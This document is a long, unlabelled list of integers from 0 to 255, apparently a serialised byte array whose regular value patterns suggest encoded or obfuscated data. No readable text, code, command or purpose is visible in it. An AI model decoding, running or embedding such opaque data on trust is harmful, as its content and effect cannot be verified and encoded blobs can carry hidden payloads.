78, 85, 3, 80, 77, 79, 84, 8, 90, 90, 78, 79, 68, 72, 70, 83, 17, 64, 70, 90, 21, 95, 68, 24, 90, 85, 85, 90, 84, 89, 74, 50, 36, 38, 111, 100, 60, 41, 50, 104, 42, 43, 37, 108, 63, 43, 62, 37, 52, 33, 39, 116, 33, 62, 54, 44, 121, 46, 51, 57, 46, 59, 127, 6, 20, 12, 0, 16, 12, 9, 9, 72, 10, 11, 7, 0, 30, 78, 13, 21, 81, 23, 0, 23, 20, 26, 22, 12, 28, 30, 91, 8, 18, 94, 11, 232, 228, 162, 246, 247, 224, 244, 167, 238, 230, 248, 171, 237, 253, 254, 253, 255, 231, 243, 255, 180, 247, 243, 241, 247, 235, 255, 187, 238, 232, 240, 241, 201, 207, 197, 141, 132, 232, 201, 213, 205, 137, 197, 197, 140, 217, 198, 198, 195, 145, 219, 221, 148, 193, 222, 210, 152, 155, 233, 218, 210, 217, 220, 208, 184, 225, 163, 173, 160, 229, 167, 183, 184, 187, 165, 189, 173, 161, 189, 237, 240, 162, 183, 176, 160, 188, 185, 185, 246, 211, 208, 209, 255, 253, 150, 176, 151, 193, 155, 140, 145, 197, 145, 136, 154, 130, 224, 225, 207, 206, 206, 191, 149, 131, 129, 156, 154, 148, 154, 158, 140, 128, 240, 241, 165, 146, 139, 141, 32, 101, 103, 101, 101, 112, 106, 115, 40, 121, 111, 121, 127, 98, 96, 110, 124, 120, 102, 106, 52, 116, 120, 115, 56, 109, 117, 117, 121, 61, 119, 108, 0, 66, 77, 77, 71, 76, 85, 66, 4, 9, 78, 66, 94, 72, 77, 91, 28, 17, 83, 93, 80, 21, 80, 69, 81, 92, 84, 95, 80, 68, 16, 31, 25, 46, 55, 99, 39, 42, 43, 42, 61, 39, 35, 40, 45, 57, 43, 111, 53, 55, 52, 58, 55, 60, 51, 57, 44, 53, 35, 119, 124, 60, 50, 40, 1, 24, 17, 67, 15, 0, 3, 23, 1, 7, 13, 75, 24, 5, 11, 79, 5, 2, 23, 1, 84, 22, 26, 18, 25, 11, 22, 2, 92, 20, 16, 25, 239, 243, 239, 230, 224, 165, 231, 229, 231, 252, 254, 171, 227, 227, 233, 224, 249, 255, 245, 179, 245, 246, 226, 254, 247, 247, 233, 187, 235, 244, 234, 247, 207, 212, 214, 131, 209, 203, 200, 194, 203, 204, 217, 216, 205, 223, 215, 143, 212, 212, 198, 210, 221, 217, 152, 151, 225, 214, 207, 155, 221, 209, 201, 222, 185, 178, 226, 179, 182, 172, 169, 181, 161, 189, 163, 177, 169, 237, 175, 172, 164, 184, 189, 189, 181, 183, 186, 178, 248, 190, 175, 178, 184, 188, 176, 188, 133, 205, 194, 128, 136, 128, 135, 149, 132, 144, 202, 152, 152, 140, 154, 134, 158, 150, 210, 146, 135, 134, 131, 154, 136, 141, 147, 148, 146, 142, 210, 223, 101, 111, 116, 106, 118, 106, 104, 106, 109, 103, 126, 43, 124, 127, 107, 125, 117, 96, 103, 122, 103, 124, 98, 114, 107, 53, 58, 122, 114, 121, 62, 113, 69, 89, 86, 3, 87, 81, 67, 87, 91, 7, 10, 126, 66, 65, 75, 92, 67, 17, 87, 75, 68, 89, 95, 84, 81, 77, 86, 66, 28, 92, 77, 84, 37, 37, 110, 99, 61, 42, 51, 103, 41, 63, 37, 34, 40, 109, 43, 55, 51, 52, 33, 32, 61, 35, 51, 59, 33, 121, 44, 62, 46, 63, 49, 44, 5, 65, 7, 27, 20, 9, 7, 9, 9, 29, 3, 4, 2, 30, 78, 14, 18, 30, 7, 7, 84, 12, 25, 2, 10, 89, 13, 20, 14, 22, 80, 117, 138, 162, 162, 194, 195, 192, 200, 211, 219, 167, 231, 239, 172, 254, 254, 234, 243, 155, 191, 179, 198, 240, 230, 248, 235, 185, 245, 253, 232, 248, 240, 191, 195, 206, 204, 215, 197, 204, 200, 135, 233, 238, 239, 229, 248, 254, 128, 194, 212, 145, 212, 218, 216, 208, 197, 153, 152, 237, 210, 222, 207, 216, 158, 217, 169, 173, 167, 176, 228, 166, 167, 169, 232, 168, 186, 187, 169, 172, 188, 239, 177, 191, 171, 164, 188, 176, 164, 178, 248, 174, 179, 175, 180, 180, 176, 255, 148, 137, 135, 195, 150, 128, 150, 136, 155, 128, 158, 132, 158, 148, 192, 229, 221, 209, 166, 155, 145, 134, 147, 215, 158, 144, 150, 158, 143, 221, 159, 141, 101, 33, 99, 35, 115, 100, 127, 39, 110, 102, 120, 43, 100, 120, 99, 110, 126, 98, 50, 103, 123, 53, 113, 126, 110, 124, 58, 98, 115, 104, 62, 55, 84, 73, 71, 3, 69, 66, 67, 73, 92, 0, 10, 66, 66, 94, 90, 93, 69, 82, 70, 90, 91, 91, 69, 23, 87, 75, 26, 79, 85, 77, 77, 31, 38, 46, 48, 99, 51, 42, 52, 44, 33, 39, 45, 107, 59, 36, 58, 39, 57, 63, 114, 39, 60, 48, 118, 52, 55, 55, 46, 58, 53, 51, 59, 45, 78, 107, 79, 67, 55, 10, 11, 2, 72, 12, 18, 10, 1, 29, 2, 10, 3, 81, 31, 26, 19, 29, 2, 87, 26, 28, 64, 91, 31, 18, 26, 22, 238, 230, 162, 224, 235, 235, 240, 226, 230, 253, 227, 228, 226, 254, 162, 175, 249, 255, 244, 252, 180, 244, 244, 248, 237, 237, 186, 243, 243, 234, 190, 252, 207, 197, 199, 131, 205, 214, 134, 200, 218, 206, 203, 197, 197, 215, 203, 203, 156, 145, 221, 193, 148, 220, 216, 196, 204, 203, 207, 216, 200, 212, 209, 209, 179, 225, 164, 172, 182, 229, 174, 168, 191, 233, 190, 164, 236, 191, 187, 161, 240, 190, 160, 243, 160, 176, 165, 163, 248, 186, 181, 191, 185, 243, 212, 242, 192, 168, 140, 144, 144, 151, 147, 132, 156, 128, 133, 133, 159, 205, 135, 129, 208, 176, 181, 182, 186, 161, 165, 217, 149, 157, 218, 157, 149, 145, 155, 140, 58, 11, 34, 35, 36, 37, 43, 39, 92, 97, 111, 43, 127, 110, 97, 127, 117, 49, 125, 117, 52, 116, 120, 55, 89, 94, 95, 85, 72, 78, 48, 114, 68, 1, 68, 74, 72, 64, 6, 78, 91, 9, 94, 67, 73, 13, 75, 65, 68, 88, 64, 86, 20, 81, 95, 69, 93, 90, 78, 84, 78, 68, 30, 75, 50, 36, 39, 99, 54, 42, 41, 51, 45, 45, 106, 42, 56, 109, 58, 39, 53, 113, 52, 60, 56, 49, 51, 37, 120, 45, 50, 58, 40, 125, 61, 48, 14, 21, 3, 10, 10, 22, 70, 14, 28, 71, 96, 75, 76, 77, 78, 66, 80, 55, 29, 1, 84, 16, 0, 18, 10, 0, 90, 29, 21, 17, 27, 95, 249, 238, 247, 163, 240, 234, 243, 228, 224, 169, 227, 229, 172, 249, 230, 234, 176, 247, 251, 253, 245, 249, 182, 231, 249, 237, 249, 243, 176, 189, 231, 240, 213, 129, 207, 214, 215, 209, 134, 200, 202, 204, 211, 139, 197, 195, 221, 219, 194, 196, 209, 199, 221, 218, 216, 196, 152, 208, 212, 155, 221, 211, 199, 159, 129, 134, 135, 141, 144, 150, 232, 170, 172, 233, 172, 162, 160, 168, 238, 184, 184, 190, 161, 182, 244, 166, 181, 184, 168, 188, 250, 178, 178, 190, 178, 170, 132, 132, 145, 195, 144, 141, 135, 147, 200, 143, 131, 135, 137, 195, 228, 207, 208, 209, 210, 222, 212, 188, 152, 132, 140, 139, 143, 152, 136, 148, 145, 145, 115, 33, 99, 97, 107, 112, 114, 39, 107, 102, 110, 110, 44, 126, 122, 118, 124, 116, 62, 51, 103, 97, 100, 98, 123, 109, 111, 105, 121, 49, 62, 113, 65, 76, 75, 77, 67, 9, 6, 66, 92, 74, 4, 11, 77, 93, 94, 67, 73, 17, 93, 93, 88, 76, 22, 67, 87, 25, 89, 84, 88, 88, 30, 72, 41, 53, 42, 42, 42, 101, 50, 47, 45, 105, 11, 12, 9, 3, 26, 28, 126, 60, 54, 115, 50, 60, 58, 50, 127, 42, 122, 40, 63, 50, 46, 58, 76, 65, 23, 13, 8, 0, 21, 20, 72, 29, 2, 14, 76, 11, 7, 3, 21, 81, 1, 7, 21, 1, 19, 4, 88, 22, 14, 19, 25, 15, 9, 22, 243, 228, 172, 137, 164, 165, 166, 167, 165, 169, 199, 228, 254, 232, 163, 235, 245, 244, 226, 255, 237, 184, 248, 242, 235, 237, 255, 255, 188, 220, 217, 218, 238, 245, 241, 141, 201, 193, 134, 193, 193, 197, 207, 216, 140, 217, 207, 196, 213, 145, 194, 193, 209, 214, 211, 211, 221, 215, 217, 222, 156, 212, 208, 159, 180, 169, 167, 227, 167, 164, 181, 162, 232, 166, 172, 235, 175, 162, 160, 169, 188, 184, 177, 167, 189, 187, 177, 247, 177, 183, 169, 175, 174, 168, 189, 171, 137, 142, 140, 144, 202, 239, 198, 199, 200, 201, 199, 203, 168, 132, 156, 138, 147, 133, 210, 128, 141, 134, 130, 146, 149, 214, 158, 158, 138, 152, 146, 144, 112, 100, 112, 44, 113, 118, 99, 117, 40, 96, 100, 120, 120, 127, 123, 108, 100, 120, 125, 125, 103, 53, 62, 118, 107, 57, 106, 122, 110, 105, 62, 112, 70, 1, 67, 3, 84, 87, 73, 74, 88, 93, 3, 11, 88, 76, 69, 74, 16, 65, 64, 86, 87, 80, 82, 82, 86, 90, 95, 27, 83, 75, 91, 77, 96, 0, 5, 6, 10, 17, 21, 105, 37, 45, 106, 34, 34, 62, 58, 61, 37, 50, 38, 58, 59, 59, 37, 121, 82, 116, 122, 15, 52, 56, 126, 60, 15, 15, 22, 6, 10, 17, 21, 71, 7, 15, 74, 31, 4, 8, 78, 46, 55, 52, 60, 39, 39, 91, 27, 19, 88, 31, 19, 23, 25, 93, 31, 11, 160, 245, 234, 230, 164, 247, 233, 232, 252, 169, 229, 237, 172, 249, 230, 234, 176, 227, 247, 227, 251, 181, 247, 249, 252, 185, 251, 245, 229, 189, 250, 246, 210, 196, 193, 215, 203, 215, 207, 194, 219, 137, 204, 217, 195, 192, 142, 219, 216, 212, 146, 240, 227, 241, 150, 194, 200, 153, 206, 212, 156, 201, 214, 218, 224, 179, 173, 172, 176, 229, 167, 181, 173, 233, 163, 165, 175, 161, 187, 171, 181, 181, 242, 164, 189, 161, 190, 247, 172, 177, 191, 251, 184, 184, 168, 186, 140, 142, 146, 134, 150, 197, 139, 130, 155, 154, 139, 140, 137, 205, 143, 129, 148, 209, 150, 156, 154, 210, 130, 215, 150, 156, 159, 159, 220, 137, 145, 223, 98, 100, 34, 113, 97, 40, 116, 98, 105, 109, 36, 43, 91, 101, 107, 97, 48, 102, 125, 97, 127, 124, 120, 112, 56, 112, 116, 59, 125, 61, 109, 106, 66, 69, 75, 81, 65, 70, 82, 72, 90, 80, 10, 68, 74, 13, 109, 120, 116, 29, 18, 92, 70, 21, 87, 23, 92, 80, 72, 94, 95, 73, 81, 77, 57, 97, 45, 54, 48, 54, 47, 35, 45, 105, 62, 35, 41, 109, 13, 24, 20, 125, 114, 48, 60, 48, 53, 60, 120, 63, 53, 41, 124, 60, 48, 38, 64, 32, 37, 38, 42, 49, 53, 73, 5, 13, 74, 13, 5, 1, 11, 28, 80, 5, 26, 18, 0, 85, 27, 22, 1, 89, 24, 30, 92, 28, 14, 15, 236, 232, 225, 226, 230, 233, 227, 169, 130, 131, 169, 168, 172, 223, 235, 252, 224, 254, 252, 224, 253, 227, 243, 249, 253, 234, 233, 145, 150, 190, 189, 188, 128, 241, 208, 198, 197, 200, 196, 203, 205, 137, 199, 206, 223, 222, 207, 200, 213, 194, 184, 185, 227, 221, 211, 217, 152, 212, 219, 208, 213, 211, 217, 159, 180, 174, 173, 175, 228, 166, 167, 171, 164, 186, 230, 235, 165, 163, 173, 163, 165, 181, 183, 243, 181, 245, 180, 165, 177, 188, 188, 251, 172, 175, 187, 190, 141, 131, 142, 134, 196, 136, 131, 148, 155, 136, 141, 142, 204, 132, 128, 207, 132, 153, 151, 211, 135, 148, 155, 146, 216, 139, 159, 136, 140, 146, 144, 140, 101, 33, 103, 123, 116, 105, 103, 110, 102, 96, 100, 108, 44, 122, 102, 110, 100, 49, 107, 124, 97, 247, 150, 142, 106, 124, 58, 122, 126, 114, 107, 107, 0, 85, 77, 3, 64, 74, 8, 7, 105, 69, 93, 74, 85, 94, 14, 95, 81, 88, 64, 19, 68, 71, 83, 86, 85, 91, 86, 94, 28, 73, 91, 71, 52, 97, 21, 10, 16, 13, 102, 51, 39, 38, 38, 107, 47, 44, 34, 35, 35, 113, 59, 61, 116, 52, 118, 36, 49, 55, 61, 55, 57, 125, 44, 58, 19, 17, 13, 13, 23, 0, 72, 71, 38, 12, 28, 14, 30, 77, 29, 10, 30, 21, 82, 18, 84, 5, 4, 18, 25, 20, 24, 23, 25, 93, 19, 26, 243, 242, 227, 228, 225, 165, 241, 238, 252, 225, 229, 254, 248, 173, 239, 236, 243, 254, 255, 227, 245, 251, 239, 254, 246, 254, 186, 239, 243, 242, 242, 191, 195, 192, 206, 207, 215, 139, 172, 173, 255, 193, 207, 197, 140, 222, 203, 193, 212, 216, 220, 212, 148, 197, 196, 210, 217, 212, 216, 215, 217, 157, 211, 218, 179, 178, 163, 164, 161, 182, 234, 231, 174, 166, 166, 167, 163, 186, 238, 187, 184, 180, 161, 182, 244, 165, 164, 190, 182, 186, 179, 171, 176, 184, 173, 255, 129, 143, 134, 195, 129, 157, 135, 138, 152, 133, 143, 152, 214, 231, 228, 194, 208, 219, 216, 191, 155, 146, 159, 148, 153, 149, 150, 130, 220, 154, 140, 144, 117, 113, 34, 113, 97, 105, 103, 115, 109, 109, 42, 106, 111, 121, 103, 96, 126, 98, 56, 57, 46, 53, 127, 113, 56, 96, 117, 110, 254, 157, 135, 109, 69, 1, 67, 65, 75, 80, 82, 7, 92, 70, 10, 89, 89, 67, 14, 92, 85, 71, 87, 65, 85, 89, 22, 69, 93, 85, 91, 79, 89, 89, 30, 92, 47, 44, 47, 34, 42, 33, 53, 107, 104, 45, 47, 56, 47, 63, 39, 45, 53, 113, 38, 59, 49, 56, 118, 35, 55, 62, 63, 47, 52, 56, 44, 127, 9, 15, 66, 12, 10, 0, 70, 23, 26, 12, 11, 6, 14, 1, 11, 79, 2, 16, 6, 27, 17, 7, 86, 3, 16, 24, 20, 91, 15, 24, 16, 27, 233, 239, 229, 163, 229, 165, 245, 226, 248, 232, 248, 234, 248, 232, 174, 225, 255, 229, 247, 179, 242, 250, 228, 183, 253, 248, 249, 243, 178, 151, 179, 191, 138, 139, 233, 198, 193, 213, 134, 206, 220, 137, 201, 196, 194, 206, 199, 220, 213, 155, 152, 137, 148, 215, 211, 151, 214, 214, 154, 214, 211, 207, 219, 159, 180, 169, 163, 173, 228, 244, 235, 245, 232, 186, 175, 165, 184, 168, 160, 172, 181, 162, 254, 243, 178, 186, 181, 162, 171, 188, 190, 251, 179, 179, 254, 182, 141, 140, 135, 135, 141, 132, 146, 130, 196, 201, 158, 138, 130, 138, 135, 141, 156, 148, 210, 157, 145, 141, 130, 215, 139, 141, 159, 139, 143, 211, 222, 215, 56, 227, 130, 144, 53, 55, 38, 112, 103, 123, 110, 120, 44, 107, 97, 125, 48, 96, 103, 122, 119, 126, 54, 98, 104, 125, 123, 111, 121, 110, 55, 49, 42, 12, 2, 9, 14, 103, 83, 78, 68, 77, 10, 68, 66, 13, 94, 93, 89, 94, 64, 19, 87, 90, 88, 67, 93, 65, 78, 17, 22, 7, 30, 86, 38, 97, 54, 43, 45, 54, 102, 46, 59, 105, 36, 36, 56, 109, 55, 32, 37, 35, 114, 53, 61, 39, 37, 35, 120, 45, 53, 52, 48, 125, 61, 62, 12, 13, 78, 67, 17, 22, 3, 71, 28, 1, 15, 75, 28, 31, 11, 14, 29, 19, 30, 22, 84, 24, 19, 4, 11, 24, 29, 30, 92, 9, 17, 95, 227, 238, 236, 237, 225, 230, 242, 167, 252, 225, 239, 171, 232, 226, 250, 252, 176, 230, 251, 231, 252, 181, 225, 255, 249, 237, 120, 27, 5, 238, 190, 253, 197, 196, 204, 131, 192, 202, 200, 194, 136, 218, 197, 139, 202, 204, 220, 143, 209, 223, 214, 147, 215, 199, 211, 214, 204, 220, 154, 218, 156, 206, 219, 209, 179, 164, 226, 172, 162, 229, 171, 168, 165, 172, 164, 191, 185, 160, 238, 174, 190, 181, 242, 176, 184, 180, 164, 190, 172, 160, 250, 189, 179, 175, 254, 171, 136, 132, 194, 150, 151, 128, 148, 199, 156, 134, 202, 158, 130, 137, 139, 157, 131, 133, 147, 157, 144, 213, 143, 152, 141, 139, 218, 149, 153, 133, 138, 223, 97, 98, 118, 106, 107, 107, 117, 41, 2, 36, 42, 33, 38, 70, 107, 106, 96, 49, 107, 124, 97, 103, 54, 99, 119, 119, 127, 59, 112, 116, 121, 119, 84, 13, 2, 69, 86, 76, 67, 73, 76, 69, 83, 11, 77, 67, 74, 15, 83, 68, 64, 90, 91, 64, 69, 29, 18, 3, 26, 90, 88, 89, 30, 76, 45, 32, 46, 47, 100, 49, 41, 50, 43, 33, 47, 56, 108, 34, 40, 111, 32, 52, 32, 32, 59, 59, 55, 59, 49, 45, 35, 123, 53, 51, 126, 47, 18, 4, 3, 14, 6, 9, 3, 20, 72, 15, 15, 14, 0, 77, 13, 0, 28, 29, 19, 17, 27, 7, 23, 3, 17, 15, 31, 91, 29, 19, 26, 95, 229, 239, 229, 226, 227, 236, 232, 224, 166, 131, 167, 171, 166, 167, 203, 247, 243, 244, 226, 231, 253, 250, 248, 189, 178, 163, 186, 218, 234, 242, 247, 251, 128, 192, 198, 199, 205, 203, 193, 135, 201, 137, 218, 217, 201, 204, 195, 205, 220, 212, 146, 213, 219, 199, 150, 210, 206, 220, 200, 194, 156, 201, 204, 214, 182, 168, 163, 175, 228, 183, 163, 166, 172, 233, 226, 174, 226, 170, 224, 227, 240, 177, 177, 178, 160, 181, 246, 182, 248, 170, 179, 181, 187, 177, 187, 255, 134, 136, 142, 134, 205, 197, 147, 137, 132, 140, 153, 152, 204, 132, 154, 13, 112, 104, 129, 211, 132, 148, 132, 131, 216, 150, 156, 219, 157, 221, 146, 158, 114, 102, 103, 113, 36, 98, 116, 104, 125, 121, 111, 111, 44, 108, 109, 123, 121, 126, 124, 61, 30, 31, 60, 61, 93, 97, 123, 118, 108, 113, 123, 108, 26, 11, 8, 41, 46, 8, 6, 197, 168, 181, 99, 201, 172, 180, 88, 74, 16, 84, 74, 67, 88, 90, 68, 82, 92, 25, 78, 83, 89, 29, 76, 90, 48, 46, 121, 99, 42, 42, 49, 103, 43, 33, 47, 40, 39, 36, 32, 40, 112, 37, 58, 54, 116, 20, 6, 30, 120, 43, 53, 46, 40, 56, 126, 59, 5, 7, 11, 13, 13, 17, 15, 8, 6, 26, 68, 137, 236, 240, 100, 66, 80, 147, 242, 239, 58, 16, 14, 3, 84, 89, 51, 153, 252, 228, 18, 19, 160, 241, 227, 247, 231, 237, 166, 243, 224, 236, 170, 232, 227, 227, 232, 230, 247, 177, 243, 253, 240, 181, 227, 231, 252, 248, 238, 254, 188, 233, 246, 250, 128, 211, 199, 207, 197, 209, 195, 195, 136, 221, 207, 216, 216, 222, 128, 77, 48, 44, 184, 158, 148, 87, 54, 43, 241, 91, 58, 34, 209, 157, 223, 221, 175, 180, 182, 227, 176, 170, 230, 180, 171, 168, 172, 173, 163, 161, 170, 239, 164, 185, 183, 243, 151, 153, 159, 247, 187, 182, 183, 182, 189, 179, 186, 172, 192, 128, 140, 135, 196, 141, 131, 139, 152, 140, 152, 203, 138, 152, 128, 140, 132, 152, 157, 157, 135, 219, 20, 119, 101, 243, 215, 219, 30, 125, 98, 176, 107, 33, 97, 108, 107, 105, 42, 39, 123, 102, 42, 66, 238, 141, 151, 121, 117, 49, 101, 97, 117, 101, 102, 114, 124, 57, 119, 98, 60, 117, 123, 126, 68, 1, 67, 81, 75, 80, 72, 67, 8, 93, 66, 78, 12, 95, 75, 95, 95, 31, 18, 125, 91, 66, 22, 83, 81, 94, 93, 82, 82, 90, 30, 86, 46, 53, 45, 99, 48, 45, 35, 103, 9, 25, 3, 107, 62, 34, 59, 59, 53, 34, 124, 177, 212, 200, 92, 122, 120, 187, 218, 199, 31, 50, 48, 57, 9, 6, 128, 227, 253, 22, 70, 11, 7, 6, 1, 2, 2, 10, 78, 27, 25, 21, 11, 93, 84, 59, 19, 15, 12, 89, 15, 11, 92, 20, 13, 95, 240, 224, 246, 224, 236, 236, 232, 224, 168, 225, 239, 231, 252, 232, 252, 252, 176, 229, 253, 179, 255, 240, 243, 231, 184, 237, 242, 242, 242, 250, 237, 191, 201, 207, 130, 208, 221, 203, 197, 137, 74, 41, 55, 161, 129, 141, 76, 47, 44, 247, 219, 221, 221, 198, 222, 210, 220, 153, 202, 212, 215, 212, 208, 216, 224, 160, 182, 227, 176, 173, 163, 231, 140, 139, 234, 172, 173, 185, 171, 184, 177, 168, 252, 243, 157, 245, 161, 190, 180, 181, 250, 181, 179, 170, 254, 188, 136, 128, 145, 134, 196, 129, 137, 144, 134, 201, 143, 153, 158, 130, 156, 207, 152, 144, 156, 151, 152, 156, 152, 144, 214, 27, 122, 102, 246, 208, 222, 29, 128, 157, 67, 111, 118, 108, 97, 111, 124, 37, 42, 105, 121, 100, 98, 107, 48, 97, 123, 99, 113, 121, 127, 121, 125, 57, 117, 105, 120, 120, 108, 63, 73, 82, 2, 74, 74, 81, 67, 85, 77, 90, 94, 66, 66, 74, 0, 15, 115, 89, 87, 80, 95, 92, 88, 80, 24, 81, 85, 76, 28, 84, 74, 31, 50, 36, 50, 44, 54, 49, 53, 103, 46, 40, 35, 39, 57, 63, 43, 60, 126, 179, 210, 206, 94, 120, 118, 181, 216, 197, 9, 43, 51, 41, 42, 58, 4, 65, 3, 67, 7, 9, 3, 17, 13, 27, 74, 8, 13, 14, 6, 6, 30, 22, 82, 6, 0, 28, 26, 76, 88, 23, 21, 12, 92, 21, 11, 17, 244, 232, 236, 228, 164, 242, 238, 226, 250, 236, 170, 226, 248, 173, 233, 234, 228, 226, 178, 230, 231, 240, 242, 185, 122, 25, 7, 145, 150, 185, 229, 186, 141, 129, 203, 197, 132, 209, 201, 200, 196, 218, 132, 201, 213, 242, 197, 198, 222, 213, 156, 195, 216, 212, 216, 151, 157, 196, 176, 177, 159, 158, 158, 239, 172, 160, 172, 173, 173, 171, 161, 205, 194, 144, 165, 190, 236, 165, 175, 185, 181, 241, 179, 176, 183, 176, 165, 164, 248, 173, 181, 251, 189, 253, 190, 251, 155, 154, 194, 151, 139, 138, 138, 148, 198, 139, 147, 180, 135, 132, 128, 139, 222, 129, 158, 146, 154, 213, 139, 138, 152, 217, 142, 148, 147, 145, 222, 136, 104, 104, 97, 107, 36, 113, 116, 102, 107, 98, 121, 43, 127, 121, 107, 127, 99, 49, 115, 125, 112, 53, 102, 101, 119, 126, 104, 126, 111, 110, 62, 126, 78, 69, 2, 81, 65, 75, 66, 66, 90, 90, 10, 95, 68, 72, 67, 15, 68, 94, 18, 71, 92, 80, 22, 66, 75, 92, 72, 21, 28, 104, 77, 86, 46, 38, 98, 55, 44, 32, 102, 51, 39, 38, 38, 107, 36, 40, 34, 63, 35, 113, 54, 54, 57, 58, 56, 36, 44, 43, 59, 47, 57, 125, 42, 55, 1, 21, 66, 26, 11, 16, 65, 17, 13, 73, 31, 5, 8, 8, 28, 28, 4, 30, 29, 23, 84, 1, 30, 18, 88, 13, 27, 8, 23, 93, 31, 17, 228, 161, 225, 236, 234, 243, 227, 254, 168, 225, 229, 252, 172, 244, 225, 250, 183, 227, 247, 179, 245, 229, 230, 229, 247, 248, 249, 243, 245, 243, 249, 191, 201, 213, 140, 131, 244, 201, 199, 201, 219, 137, 201, 202, 194, 141, 198, 202, 220, 193, 146, 199, 219, 149, 219, 214, 211, 220, 154, 216, 211, 208, 206, 211, 165, 185, 238, 227, 165, 168, 164, 174, 175, 188, 165, 190, 191, 225, 238, 160, 162, 241, 191, 166, 184, 161, 191, 250, 168, 177, 187, 168, 185, 253, 169, 176, 146, 138, 194, 128, 136, 128, 135, 149, 141, 155, 202, 138, 130, 137, 206, 130, 159, 131, 151, 211, 151, 154, 154, 155, 153, 155, 149, 137, 157, 137, 151, 137, 101, 33, 100, 108, 118, 37, 114, 111, 109, 41, 127, 120, 105, 127, 32, 47, 81, 49, 117, 124, 123, 113, 54, 103, 116, 120, 116, 59, 111, 117, 113, 106, 76, 69, 2, 65, 86, 64, 71, 76, 8, 93, 66, 78, 12, 89, 79, 92, 91, 17, 91, 93, 64, 90, 22, 90, 93, 88, 84, 82, 82, 90, 88, 74, 44, 109, 98, 47, 43, 34, 47, 36, 41, 37, 38, 50, 108, 34, 60, 43, 53, 35, 55, 55, 116, 38, 34, 50, 40, 42, 122, 47, 52, 60, 42, 127, 1, 19, 7, 67, 1, 4, 21, 30, 72, 29, 5, 75, 26, 8, 28, 6, 22, 8, 82, 18, 7, 85, 15, 24, 13, 89, 29, 20, 82, 119, 116, 49, 239, 245, 231, 163, 240, 237, 231, 243, 168, 249, 230, 234, 226, 254, 174, 238, 226, 244, 178, 253, 251, 225, 182, 241, 247, 235, 186, 235, 253, 249, 250, 246, 206, 198, 130, 204, 209, 209, 134, 212, 193, 196, 218, 199, 201, 141, 217, 192, 194, 218, 146, 196, 221, 193, 222, 151, 222, 208, 214, 215, 217, 207, 158, 204, 180, 164, 178, 176, 228, 170, 180, 231, 187, 189, 171, 191, 165, 163, 169, 239, 164, 185, 183, 243, 187, 183, 160, 190, 183, 172, 169, 245, 252, 137, 182, 186, 192, 130, 141, 141, 144, 128, 136, 147, 200, 134, 140, 203, 149, 130, 155, 157, 208, 129, 158, 146, 154, 213, 133, 159, 151, 140, 150, 159, 220, 147, 145, 139, 32, 104, 108, 117, 107, 105, 112, 98, 40, 109, 101, 98, 98, 106, 46, 110, 126, 104, 102, 123, 125, 123, 113, 55, 108, 113, 123, 111, 60, 100, 113, 106, 0, 64, 80, 70, 74, 2, 82, 7, 75, 72, 90, 74, 78, 65, 75, 15, 95, 87, 18, 87, 91, 92, 88, 80, 24, 17, 83, 21, 89, 19, 30, 91, 47, 47, 101, 55, 100, 49, 52, 62, 104, 61, 37, 107, 56, 40, 61, 59, 112, 37, 58, 58, 58, 50, 37, 119, 44, 49, 59, 47, 124, 36, 49, 42, 64, 2, 3, 13, 67, 17, 70, 19, 13, 26, 30, 66, 66, 77, 42, 0, 80, 31, 29, 7, 84, 0, 5, 18, 88, 9, 22, 26, 18, 14, 94, 25, 239, 243, 162, 240, 237, 232, 246, 235, 237, 169, 229, 249, 172, 254, 231, 225, 247, 253, 247, 190, 231, 225, 243, 231, 184, 232, 239, 254, 238, 244, 251, 236, 128, 213, 202, 194, 208, 133, 223, 200, 221, 137, 201, 202, 194, 141, 196, 218, 195, 197, 146, 215, 219, 149, 217, 197, 152, 216, 212, 200, 203, 216, 204, 159, 169, 172, 175, 166, 160, 172, 167, 179, 173, 165, 179, 229, 198, 199, 138, 160, 240, 191, 189, 167, 244, 167, 179, 167, 189, 184, 174, 251, 168, 181, 187, 255, 134, 148, 142, 143, 196, 134, 137, 137, 156, 140, 132, 159, 159, 205, 129, 137, 208, 133, 154, 150, 212, 133, 154, 150, 150, 217, 155, 157, 136, 152, 140, 223, 97, 33, 98, 39, 127, 126, 38, 115, 103, 102, 102, 120, 34, 111, 119, 80, 123, 120, 124, 119, 58, 101, 122, 118, 118, 57, 103, 102, 124, 61, 125, 126, 76, 77, 2, 193, 164, 177, 6, 83, 64, 76, 10, 67, 77, 95, 64, 74, 67, 66, 18, 82, 88, 71, 83, 86, 92, 64, 26, 95, 85, 78, 78, 83, 33, 56, 49, 99, 45, 49, 104, 103, 1, 39, 57, 63, 41, 44, 42, 99, 112, 34, 39, 62, 57, 52, 36, 62, 34, 60, 122, 47, 52, 56, 126, 60, 8, 0, 12, 4, 1, 69, 11, 6, 12, 12, 74, 10, 2, 9, 78, 7, 25, 22, 26, 31, 29, 18, 30, 3, 88, 24, 20, 2, 92, 20, 19, 15, 239, 243, 246, 226, 234, 241, 166, 228, 231, 231, 254, 238, 244, 249, 174, 224, 226, 177, 252, 246, 236, 225, 182, 228, 236, 252, 234, 181, 150, 151, 220, 250, 198, 206, 208, 198, 132, 215, 211, 201, 198, 192, 196, 204, 140, 204, 142, 204, 223, 220, 223, 210, 218, 209, 154, 151, 219, 214, 212, 200, 213, 217, 219, 205, 224, 182, 170, 166, 176, 173, 163, 181, 232, 166, 184, 235, 162, 162, 186, 239, 169, 190, 167, 243, 188, 180, 160, 178, 248, 186, 181, 182, 172, 177, 187, 171, 133, 133, 194, 151, 140, 128, 198, 151, 154, 140, 156, 130, 131, 152, 157, 207, 131, 133, 151, 131, 216, 213, 151, 153, 156, 217, 151, 154, 151, 152, 222, 140, 117, 115, 103, 35, 112, 106, 38, 106, 105, 123, 97, 43, 101, 121, 46, 110, 99, 49, 113, 124, 121, 101, 122, 114, 108, 124, 126, 59, 126, 120, 120, 112, 82, 68, 2, 78, 75, 83, 79, 73, 79, 9, 69, 69, 12, 89, 65, 15, 68, 89, 87, 19, 90, 80, 78, 67, 24, 74, 78, 94, 76, 19, 30, 118, 52, 97, 47, 34, 61, 101, 36, 34, 104, 61, 34, 46, 108, 46, 47, 60, 53, 113, 38, 59, 53, 33, 118, 46, 55, 44, 122, 56, 51, 48, 46, 51, 5, 21, 7, 67, 5, 9, 10, 71, 27, 29, 15, 27, 31, 77, 7, 1, 80, 8, 29, 6, 6, 85, 6, 27, 25, 23, 90, 26, 26, 9, 27, 13, 160, 224, 162, 240, 237, 235, 225, 235, 237, 169, 250, 234, 255, 254, 174, 224, 246, 177, 251, 254, 228, 249, 243, 250, 253, 247, 238, 250, 232, 244, 241, 241, 142, 129, 235, 197, 132, 209, 206, 206, 219, 